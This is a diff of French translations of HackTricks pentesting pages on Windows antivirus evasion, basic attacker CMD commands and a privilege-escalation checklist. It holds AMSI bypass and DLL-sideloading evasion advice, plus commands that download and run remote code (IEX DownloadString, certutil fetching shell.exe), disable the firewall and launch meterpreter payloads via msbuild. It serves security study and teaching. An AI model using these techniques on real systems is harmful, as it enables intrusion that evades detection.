Quelques autres conseils vraiment utiles de [@mgeeky](https://twitter.com/mariuszbit) pour lutter contre les bac à sable @@ -65,12 +65,12 @@ Par exemple, si vous voulez extraire LSASS, **avez-vous vraiment besoin d'utilis La bonne réponse est probablement la seconde option. En prenant mimikatz comme exemple, c'est probablement l'un, sinon le logiciel le plus signalé par les AV et les EDR, alors que le projet lui-même est super cool, il est aussi un cauchemar pour travailler avec pour contourner les AV, donc cherchez simplement des alternatives pour ce que vous essayez d'accomplir. {% hint style="info" %} -Lorsque vous modifiez vos charges utiles pour l'évasion, assurez-vous de **désactiver la soumission automatique des échantillons** dans Defender, et s'il vous plaît, sérieusement, **NE PAS SOUMETTRE À VIRUSTOTAL** si votre objectif est d'atteindre l'évasion à long terme. Si vous voulez vérifier si votre charge utile est détectée par un AV particulier, installez-le sur une machine virtuelle, essayez de désactiver la soumission automatique des échantillons, et testez-le là-bas jusqu'à ce que vous soyez satisfait du résultat. +Lorsque vous modifiez vos charges utiles pour l'évasion, assurez-vous de **désactiver la soumission automatique des échantillons** dans Defender, et s'il vous plaît, sérieusement, **NE PAS SOUMETTRE À VIRUSTOTAL** si votre objectif est d'éviter la détection à long terme. Si vous voulez vérifier si votre charge utile est détectée par un AV particulier, installez-le sur une VM, essayez de désactiver la soumission automatique des échantillons, et testez-le là-bas jusqu'à ce que vous soyez satisfait du résultat. {% endhint %} ## EXE vs DLL -Chaque fois que c'est possible, **priorisez l'utilisation de DLL pour l'évasion**, dans mon expérience, les fichiers DLL sont généralement **beaucoup moins détectés** et analysés, c'est donc un truc très simple à utiliser pour éviter la détection dans certains cas (si votre charge utile a un moyen de s'exécuter en tant que DLL bien sûr). +Chaque fois que c'est possible, **priorisez l'utilisation de DLL pour l'évasion**, dans mon expérience, les fichiers DLL sont généralement **beaucoup moins détectés** et analysés, donc c'est un truc très simple à utiliser pour éviter la détection dans certains cas (si votre charge utile a un moyen de s'exécuter en tant que DLL bien sûr). Comme nous pouvons le voir dans cette image, une charge utile DLL de Havoc a un taux de détection de 4/26 dans antiscan.me, tandis que la charge utile EXE a un taux de détection de 7/26. @@ -78,11 +78,11 @@ Comme nous pouvons le voir dans cette image, une charge utile DLL de Havoc a un Maintenant, nous allons montrer quelques astuces que vous pouvez utiliser avec des fichiers DLL pour être beaucoup plus furtif. -## Chargement latéral de DLL & Proxying +## Chargement latéral et proxying de DLL Le **chargement latéral de DLL** profite de l'ordre de recherche de DLL utilisé par le chargeur en positionnant à la fois l'application victime et les charges utiles malveillantes côte à côte. -Vous pouvez vérifier les programmes susceptibles au chargement latéral de DLL en utilisant [Siofra](https://github.com/Cybereason/siofra) et le script PowerShell suivant : +Vous pouvez vérifier les programmes susceptibles de chargement latéral de DLL en utilisant [Siofra](https://github.com/Cybereason/siofra) et le script PowerShell suivant : {% code overflow="wrap" %} ```powershell @@ -95,7 +95,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija Cette commande affichera la liste des programmes susceptibles de subir une attaque de détournement de DLL à l'intérieur de "C:\Program Files\\" et les fichiers DLL qu'ils essaient de charger. -Je vous recommande vivement d'**explorer vous-même les programmes vulnérables au détournement de DLL/Sideloadable**, cette technique est assez furtive si elle est bien réalisée, mais si vous utilisez des programmes DLL Sideloadable connus du public, vous pourriez être facilement repéré. +Je vous recommande vivement d'**explorer vous-même les programmes vulnérables au détournement de DLL**, cette technique est assez furtive si elle est bien réalisée, mais si vous utilisez des programmes DLL Sideloadable connus du public, vous pourriez être facilement repéré. Simplement en plaçant une DLL malveillante avec le nom qu'un programme s'attend à charger, votre charge utile ne sera pas chargée, car le programme s'attend à certaines fonctions spécifiques à l'intérieur de cette DLL. Pour résoudre ce problème, nous utiliserons une autre technique appelée **DLL Proxying/Forwarding**. @@ -128,12 +128,12 @@ Voici les résultats :
-Notre shellcode (encodé avec [SGN](https://github.com/EgeBalci/sgn)) et le DLL proxy ont tous les deux un taux de détection de 0/26 sur [antiscan.me](https://antiscan.me) ! Je qualifierais cela de succès. +Notre shellcode (encodé avec [SGN](https://github.com/EgeBalci/sgn)) et le proxy DLL ont tous les deux un taux de détection de 0/26 sur [antiscan.me](https://antiscan.me) ! Je qualifierais cela de succès.
{% hint style="info" %} -Je **recommande vivement** de regarder la VOD de [S3cur3Th1sSh1t sur Twitch](https://www.twitch.tv/videos/1644171543) sur le DLL Sideloading et aussi la vidéo de [ippsec](https://www.youtube.com/watch?v=3eROsG\_WNpE) pour en apprendre davantage sur ce que nous avons discuté en détail. +Je **recommande vivement** de regarder la VOD de [twitch de S3cur3Th1sSh1t](https://www.twitch.tv/videos/1644171543) sur le DLL Sideloading et aussi la vidéo de [ippsec](https://www.youtube.com/watch?v=3eROsG\_WNpE) pour en apprendre davantage sur ce que nous avons discuté en détail. {% endhint %} ## [**Freeze**](https://github.com/optiv/Freeze) @@ -153,19 +153,19 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez L'évasion est juste un jeu du chat et de la souris, ce qui fonctionne aujourd'hui pourrait être détecté demain, donc ne vous fiez jamais à un seul outil, si possible, essayez de chaîner plusieurs techniques d'évasion. {% endhint %} -## AMSI (Interface de scan anti-logiciels malveillants) +## AMSI (Interface de Scan Anti-Malware) -AMSI a été créé pour prévenir les "[malwares sans fichier](https://en.wikipedia.org/wiki/Fileless\_malware)". Initialement, les AV ne pouvaient scanner que les **fichiers sur le disque**, donc si vous pouviez exécuter des charges utiles **directement en mémoire**, l'AV ne pouvait rien faire pour l'empêcher, car il n'avait pas assez de visibilité. +AMSI a été créé pour prévenir les "[malwares sans fichier](https://en.wikipedia.org/wiki/Fileless\_malware)". Initialement, les AV étaient capables de scanner uniquement les **fichiers sur le disque**, donc si vous pouviez exécuter des charges utiles **directement en mémoire**, l'AV ne pouvait rien faire pour l'empêcher, car il n'avait pas assez de visibilité. La fonctionnalité AMSI est intégrée à ces composants de Windows. * Contrôle de compte d'utilisateur, ou UAC (élévation de l'installation EXE, COM, MSI ou ActiveX) * PowerShell (scripts, utilisation interactive et évaluation de code dynamique) -* Hôte de script Windows (wscript.exe et cscript.exe) +* Windows Script Host (wscript.exe et cscript.exe) * JavaScript et VBScript * Macros Office VBA -Il permet aux solutions antivirus d'inspecter le comportement des scripts en exposant le contenu du script sous une forme à la fois non chiffrée et non obscurcie. +Il permet aux solutions antivirus d'inspecter le comportement des scripts en exposant le contenu du script sous une forme à la fois non cryptée et non obscurcie. L'exécution de `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` produira l'alerte suivante sur Windows Defender. @@ -181,15 +181,15 @@ Il existe quelques façons de contourner AMSI : Puisque AMSI fonctionne principalement avec des détections statiques, modifier les scripts que vous essayez de charger peut être une bonne façon d'éviter la détection. -Cependant, AMSI a la capacité de désobfusquer les scripts même s'ils ont plusieurs couches, donc l'obfuscation pourrait être une mauvaise option en fonction de la manière dont elle est faite. Cela le rend non si simple à éviter. Cependant, parfois, il suffit de changer quelques noms de variables et vous serez bons, donc cela dépend de combien quelque chose a été signalé. +Cependant, AMSI a la capacité de désobfusquer les scripts même s'ils ont plusieurs couches, donc l'obfuscation pourrait être une mauvaise option en fonction de la manière dont elle est réalisée. Cela le rend non si simple à éviter. Cependant, parfois, il suffit de changer quelques noms de variables et vous serez bons, donc cela dépend de combien quelque chose a été signalé. * **Contournement d'AMSI** -Puisque AMSI est implémenté en chargeant une DLL dans le processus powershell (également cscript.exe, wscript.exe, etc.), il est possible de le manipuler facilement même en tant qu'utilisateur non privilégié. En raison de cette faille dans l'implémentation d'AMSI, les chercheurs ont trouvé plusieurs façons d'éviter le balayage AMSI. +Puisque AMSI est implémenté en chargeant une DLL dans le processus powershell (également cscript.exe, wscript.exe, etc.), il est possible de le manipuler facilement même en tant qu'utilisateur non privilégié. En raison de cette faille dans l'implémentation d'AMSI, les chercheurs ont trouvé plusieurs façons d'éviter l'analyse AMSI. -**Forcer une erreur** +**Forcer une Erreur** -Forcer l'initialisation d'AMSI à échouer (amsiInitFailed) fera en sorte qu'aucun scan ne soit lancé pour le processus en cours. À l'origine, cela a été divulgué par [Matt Graeber](https://twitter.com/mattifestation) et Microsoft a développé une signature pour empêcher une utilisation plus large. +Forcer l'échec de l'initialisation d'AMSI (amsiInitFailed) fera en sorte qu'aucune analyse ne soit lancée pour le processus en cours. À l'origine, cela a été divulgué par [Matt Graeber](https://twitter.com/mattifestation) et Microsoft a développé une signature pour empêcher une utilisation plus large. {% code overflow="wrap" %} ```powershell @@ -232,7 +232,7 @@ Il existe plusieurs outils qui peuvent être utilisés pour **obfusquer le code * [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: Obfuscateur C#** * [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator) : Le but de ce projet est de fournir une version open-source d'une fourche de la suite de compilation [LLVM](http://www.llvm.org/) capable de fournir une sécurité logicielle accrue grâce à l'[obfuscation de code](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) et à la protection contre la falsification. * [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator) : ADVobfuscator montre comment utiliser le langage `C++11/14` pour générer, au moment de la compilation, du code obfusqué sans utiliser d'outil externe et sans modifier le compilateur. -* [**obfy**](https://github.com/fritzone/obfy) : Ajoutez une couche d'opérations obfusquées générées par le framework de méta-programmation de modèles C++ qui compliquera un peu la tâche de la personne voulant craquer l'application. +* [**obfy**](https://github.com/fritzone/obfy) : Ajoutez une couche d'opérations obfusquées générées par le framework de méta-programmation en modèle C++ qui compliquera un peu la tâche de la personne voulant craquer l'application. * [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz est un obfuscateur binaire x64 capable d'obfusquer différents fichiers PE, y compris : .exe, .dll, .sys * [**metame**](https://github.com/a0rtega/metame) : Metame est un moteur de code métamorphique simple pour des exécutables arbitraires. * [**ropfuscator**](https://github.com/ropfuscator/ropfuscator) : ROPfuscator est un cadre d'obfuscation de code à grain fin pour les langages pris en charge par LLVM utilisant ROP (programmation orientée retour). ROPfuscator obfusque un programme au niveau du code d'assemblage en transformant les instructions régulières en chaînes ROP, contrecarrant notre conception naturelle du flux de contrôle normal. @@ -241,7 +241,7 @@ Il existe plusieurs outils qui peuvent être utilisés pour **obfusquer le code ## SmartScreen & MoTW -Vous avez peut-être vu cet écran lors du téléchargement de certains exécutables sur Internet et de leur exécution. +Vous avez peut-être vu cet écran lors du téléchargement de certains exécutables depuis Internet et de leur exécution. Microsoft Defender SmartScreen est un mécanisme de sécurité destiné à protéger l'utilisateur final contre l'exécution d'applications potentiellement malveillantes. @@ -257,7 +257,7 @@ SmartScreen fonctionne principalement avec une approche basée sur la réputatio Il est important de noter que les exécutables signés avec un certificat de signature **de confiance** ne déclencheront pas SmartScreen. {% endhint %} -Une façon très efficace d'empêcher vos charges utiles d'obtenir le Mark of The Web est de les emballer dans un certain type de conteneur comme un ISO. Cela se produit car le Mark-of-the-Web (MOTW) ne peut pas être appliqué aux volumes **non NTFS**. +Une façon très efficace d'empêcher vos charges utiles d'obtenir le Mark of The Web est de les empaqueter dans un certain type de conteneur comme une ISO. Cela se produit car le Mark-of-the-Web (MOTW) **ne peut pas** être appliqué aux volumes **non NTFS**.
@@ -293,7 +293,7 @@ Voici une démo pour contourner SmartScreen en empaquetant des charges utiles à Le chargement des binaires C# en mémoire est connu depuis un certain temps et reste un excellent moyen d'exécuter vos outils de post-exploitation sans être détecté par l'AV. -Étant donné que la charge utile sera chargée directement en mémoire sans toucher au disque, nous n'aurons qu'à nous soucier du patching d'AMSI pour l'ensemble du processus. +Étant donné que la charge utile sera chargée directement en mémoire sans toucher au disque, nous n'aurons qu'à nous soucier du patch AMSI pour l'ensemble du processus. La plupart des frameworks C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) offrent déjà la possibilité d'exécuter des assemblages C# directement en mémoire, mais il existe différentes façons de le faire : @@ -325,11 +325,11 @@ Le dépôt indique : Defender scanne toujours les scripts mais en utilisant Go, ## Évasion avancée -L'évasion est un sujet très complexe, parfois vous devez prendre en compte de nombreuses sources de télémétrie dans un seul système, il est donc pratiquement impossible de rester complètement indétecté dans des environnements matures. +L'évasion est un sujet très complexe, parfois vous devez tenir compte de nombreuses sources de télémétrie dans un seul système, il est donc pratiquement impossible de rester complètement indétecté dans des environnements matures. Chaque environnement que vous affrontez aura ses propres forces et faiblesses. -Je vous encourage vivement à regarder cette présentation de [@ATTL4S](https://twitter.com/DaniLJ94), pour vous initier à des techniques d'évasion plus avancées. +Je vous encourage vivement à regarder cette présentation de [@ATTL4S](https://twitter.com/DaniLJ94), pour avoir un aperçu des techniques d'évasion avancées. {% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %} @@ -339,10 +339,14 @@ Voici également une autre excellente présentation de [@mariuszbit](https://twi ## **Anciennes techniques** -### **Vérifiez quelles parties Defender considère comme malveillantes** +### **Vérifier quelles parties Defender considère comme malveillantes** Vous pouvez utiliser [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) qui **supprimera des parties du binaire** jusqu'à ce qu'il **découvre quelle partie Defender** considère comme malveillante et vous la divise.\ Un autre outil faisant la **même chose est** [**avred**](https://github.com/dobin/avred) avec une offre web ouverte du service sur [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) + +### **Serveur Telnet** + +Jusqu'à Windows10, tous les Windows étaient livrés avec un **serveur Telnet** que vous pouviez installer (en tant qu'administrateur) en faisant : ```bash pkgmgr /iu:"TelnetServer" /quiet ``` @@ -350,7 +354,7 @@ Faites-le **démarrer** lorsque le système est démarré et **exécutez**-le ma ```bash sc config TlntSVR start= auto obj= localsystem ``` -**Changer le port telnet** (furtif) et désactiver le pare-feu : +**Changer le port telnet** (stealth) et désactiver le pare-feu : ``` tlntadmn config port=80 netsh advfirewall set allprofiles state off @@ -361,9 +365,9 @@ Téléchargez-le depuis: [http://www.uvnc.com/downloads/ultravnc.html](http://ww **SUR L'HÔTE**: Exécutez _**winvnc.exe**_ et configurez le serveur: -* Activer l'option _Désactiver TrayIcon_ -* Définir un mot de passe dans _VNC Password_ -* Définir un mot de passe dans _View-Only Password_ +* Activez l'option _Désactiver TrayIcon_ +* Définissez un mot de passe dans _VNC Password_ +* Définissez un mot de passe dans _View-Only Password_ Ensuite, déplacez le binaire _**winvnc.exe**_ et le fichier nouvellement créé _**UltraVNC.ini**_ à l'intérieur de la **victime** @@ -387,7 +391,7 @@ cd GreatSCT/setup/ cd .. ./GreatSCT.py ``` -À l'intérieur de GreatSCT : +À l'intérieur de GreatSCT: ``` use 1 list #Listing available payloads @@ -397,11 +401,11 @@ sel lport 4444 generate #payload is the default name #This will generate a meterpreter xml and a rcc file for msfconsole ``` -Maintenant **démarrez le lister** avec `msfconsole -r file.rc` et **exécutez** le **payload xml** avec : +Maintenant **démarrez le lister** avec `msfconsole -r file.rc` et **exécutez** le **payload xml** avec: ``` C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml ``` -**Le défenseur actuel va terminer le processus très rapidement.** +**L'antivirus actuel va terminer le processus très rapidement.** ### Compilation de notre propre shell inversé @@ -561,7 +565,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github. +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. diff --git a/windows-hardening/basic-cmd-for-pentesters.md b/windows-hardening/basic-cmd-for-pentesters.md index 68837d2cd..c43ab0c49 100644 --- a/windows-hardening/basic-cmd-for-pentesters.md +++ b/windows-hardening/basic-cmd-for-pentesters.md @@ -1,8 +1,8 @@ -# Commandes de base Win pour les Pentesters +# Commandes de base Win CMD pour les Pentesters
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)! * Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) @@ -277,7 +277,7 @@ Certutil.exe ``` certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe ``` -**Trouvez bien plus en recherchant `Télécharger` sur [https://lolbas-project.github.io](https://lolbas-project.github.io/)** +**Trouvez beaucoup plus en recherchant `Télécharger` sur [https://lolbas-project.github.io](https://lolbas-project.github.io/)** ## Divers ```bash @@ -408,12 +408,12 @@ powershell -ep bypass - < c:\temp:ttt ```
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! * Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PRs au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Partagez vos astuces de piratage en soumettant des PRs au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/windows-hardening/checklist-windows-privilege-escalation.md b/windows-hardening/checklist-windows-privilege-escalation.md index 234ffe365..9a5fa47c5 100644 --- a/windows-hardening/checklist-windows-privilege-escalation.md +++ b/windows-hardening/checklist-windows-privilege-escalation.md @@ -2,136 +2,122 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
### **Meilleur outil pour rechercher des vecteurs d'élévation de privilèges locaux Windows :** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) -### [Informations Système](windows-local-privilege-escalation/#system-info) +### [Informations système](windows-local-privilege-escalation/#system-info) * [ ] Obtenir des [**informations système**](windows-local-privilege-escalation/#system-info) -* [ ] Rechercher des **exploits de noyau** [**à l'aide de scripts**](windows-local-privilege-escalation/#version-exploits) -* [ ] Utiliser **Google pour rechercher** des **exploits de noyau** -* [ ] Utiliser **searchsploit pour rechercher** des **exploits de noyau** +* [ ] Rechercher des **exploits du noyau** [**en utilisant des scripts**](windows-local-privilege-escalation/#version-exploits) +* [ ] Utiliser **Google pour rechercher** des **exploits du noyau** +* [ ] Utiliser **searchsploit pour rechercher** des **exploits du noyau** * [ ] Informations intéressantes dans les [**variables d'environnement**](windows-local-privilege-escalation/#environment) ? -* [ ] Mots de passe dans l'[**historique PowerShell**](windows-local-privilege-escalation/#powershell-history) ? +* [ ] Mots de passe dans l'**historique PowerShell**](windows-local-privilege-escalation/#powershell-history) ? * [ ] Informations intéressantes dans les [**paramètres Internet**](windows-local-privilege-escalation/#internet-settings) ? -* [ ] [**Lecteurs**](windows-local-privilege-escalation/#drives) ? -* [ ] [**Exploit WSUS**](windows-local-privilege-escalation/#wsus) ? -* [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/#alwaysinstallelevated) ? +* [ ] [**Disques**](windows-local-privilege-escalation/#drives) ? +* [ ] [**Exploitation WSUS**](windows-local-privilege-escalation/#wsus) ? +* [**AlwaysInstallElevated**](windows-local-privilege-escalation/#alwaysinstallelevated) ? -### [Énumération des logs/AV](windows-local-privilege-escalation/#enumeration) +### [Énumération de la journalisation/AV](windows-local-privilege-escalation/#enumeration) -* [ ] Vérifier les paramètres [**Audit**](windows-local-privilege-escalation/#audit-settings) et [**WEF**](windows-local-privilege-escalation/#wef) +* [ ] Vérifier les paramètres [**Audit** ](windows-local-privilege-escalation/#audit-settings)et [**WEF** ](windows-local-privilege-escalation/#wef) * [ ] Vérifier [**LAPS**](windows-local-privilege-escalation/#laps) -* [ ] Vérifier si [**WDigest**](windows-local-privilege-escalation/#wdigest) est actif +* [ ] Vérifier si [**WDigest** ](windows-local-privilege-escalation/#wdigest)est actif * [ ] [**Protection LSA**](windows-local-privilege-escalation/#lsa-protection) ? -* [ ] [**Credentials Guard**](windows-local-privilege-escalation/#credentials-guard) ? -* [ ] [**Identifiants en cache**](windows-local-privilege-escalation/#cached-credentials) ? +* [ ] [**Garde des informations d'identification**](windows-local-privilege-escalation/#credentials-guard)[?](windows-local-privilege-escalation/#cached-credentials) +* [ ] [**Informations d'identification mises en cache**](windows-local-privilege-escalation/#cached-credentials) ? * [ ] Vérifier s'il y a un [**AV**](windows-av-bypass) -* [ ] [**Politique AppLocker**](authentication-credentials-uac-and-efs#applocker-policy) ? -* [ ] [**UAC**](authentication-credentials-uac-and-efs/uac-user-account-control) -* [ ] [**Privilèges utilisateur**](windows-local-privilege-escalation/#users-and-groups) -* [ ] Vérifier les [**privilèges de l'utilisateur actuel**](windows-local-privilege-escalation/#users-and-groups) +* [ ] [**Stratégie AppLocker**](authentication-credentials-uac-and-efs#applocker-policy) ? +* [ ] [**UAC**](authentication-credentials-uac-and-efs/uac-user-account-control) ? +* [ ] [**Privilèges utilisateur**](windows-local-privilege-escalation/#users-and-groups) ? +* [ ] Vérifier les [**privilèges utilisateur actuels**](windows-local-privilege-escalation/#users-and-groups) * [ ] Êtes-vous [**membre d'un groupe privilégié**](windows-local-privilege-escalation/#privileged-groups) ? -* [ ] Vérifier si vous avez [l'un de ces jetons activés](windows-local-privilege-escalation/#token-manipulation) : **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ? +* [ ] Vérifier si vous avez activé [l'un de ces jetons](windows-local-privilege-escalation/#token-manipulation) : **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ? * [ ] [**Sessions utilisateurs**](windows-local-privilege-escalation/#logged-users-sessions) ? -* [ ] Vérifier les [**domiciles des utilisateurs**](windows-local-privilege-escalation/#home-folders) (accès ?) -* [ ] Vérifier la [**Politique de mot de passe**](windows-local-privilege-escalation/#password-policy) -* [ ] Qu'y a-t-il [**dans le Presse-papiers**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard) ? +* [ ] Vérifier les [**dossiers personnels des utilisateurs**](windows-local-privilege-escalation/#home-folders) (accès ?) +* [ ] Vérifier la [**politique de mot de passe**](windows-local-privilege-escalation/#password-policy) +* [ ] Qu'y a-t-il [**dans le presse-papiers**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard) ? ### [Réseau](windows-local-privilege-escalation/#network) -* [ ] Vérifier les [**informations réseau actuelles**](windows-local-privilege-escalation/#network) +* [ ] Vérifier les **informations réseau actuelles**](windows-local-privilege-escalation/#network) * [ ] Vérifier les **services locaux cachés** restreints à l'extérieur -### [Processus en cours](windows-local-privilege-escalation/#running-processes) +### [Processus en cours d'exécution](windows-local-privilege-escalation/#running-processes) -* [ ] Permissions des [**fichiers binaires des processus et des dossiers**](windows-local-privilege-escalation/#file-and-folder-permissions) +* [ ] Autorisations des fichiers binaires des processus [**et des dossiers**](windows-local-privilege-escalation/#file-and-folder-permissions) * [ ] [**Extraction de mots de passe en mémoire**](windows-local-privilege-escalation/#memory-password-mining) * [ ] [**Applications GUI non sécurisées**](windows-local-privilege-escalation/#insecure-gui-apps) ### [Services](windows-local-privilege-escalation/#services) -* [ ] [Pouvez-vous **modifier un service** ?](windows-local-privilege-escalation#permissions) -* [ ] [Pouvez-vous **modifier** le **binaire** qui est **exécuté** par un **service** ?](windows-local-privilege-escalation/#modify-service-binary-path) -* [ ] [Pouvez-vous **modifier** le **registre** d'un **service** ?](windows-local-privilege-escalation/#services-registry-modify-permissions) -* [ ] [Pouvez-vous tirer parti d'un **chemin de binaire de service non cité** ?](windows-local-privilege-escalation/#unquoted-service-paths) +* [ ] Pouvez-vous **modifier un service** ?](windows-local-privilege-escalation#permissions) +* [ ] Pouvez-vous **modifier** le **binaire** exécuté par un **service** ?](windows-local-privilege-escalation/#modify-service-binary-path) +* [ ] Pouvez-vous **modifier** le **registre** d'un **service** ?](windows-local-privilege-escalation/#services-registry-modify-permissions) +* [ ] Pouvez-vous profiter d'un **chemin binaire de service non mis entre guillemets** ?](windows-local-privilege-escalation/#unquoted-service-paths) ### [**Applications**](windows-local-privilege-escalation/#applications) -* [ ] **Écrire** des [**permissions sur les applications installées**](windows-local-privilege-escalation/#write-permissions) +* [ ] **Autorisations d'écriture sur les applications installées**](windows-local-privilege-escalation/#write-permissions) * [ ] [**Applications de démarrage**](windows-local-privilege-escalation/#run-at-startup) -* [ ] [**Pilotes vulnérables**](windows-local-privilege-escalation/#drivers) +* [ ] **Pilotes vulnérables**](windows-local-privilege-escalation/#drivers) ### [Détournement de DLL](windows-local-privilege-escalation/#path-dll-hijacking) -* [ ] Pouvez-vous **écrire dans un dossier du PATH** ? -* [ ] Y a-t-il un service connu qui **essaie de charger une DLL inexistante** ? +* [ ] Pouvez-vous **écrire dans n'importe quel dossier à l'intérieur de PATH** ? +* [ ] Y a-t-il un binaire de service connu qui **essaie de charger une DLL inexistante** ? * [ ] Pouvez-vous **écrire** dans un **dossier de binaires** ? ### [Réseau](windows-local-privilege-escalation/#network) * [ ] Énumérer le réseau (partages, interfaces, routes, voisins, ...) -* [ ] Porter une attention particulière aux services réseau écoutant sur localhost (127.0.0.1) +* [ ] Regardez attentivement les services réseau écoutant sur localhost (127.0.0.1) -### [Identifiants Windows](windows-local-privilege-escalation/#windows-credentials) +### [Informations d'identification Windows](windows-local-privilege-escalation/#windows-credentials) -* [ ] Identifiants [**Winlogon**](windows-local-privilege-escalation/#winlogon-credentials) -* [ ] Identifiants [**Windows 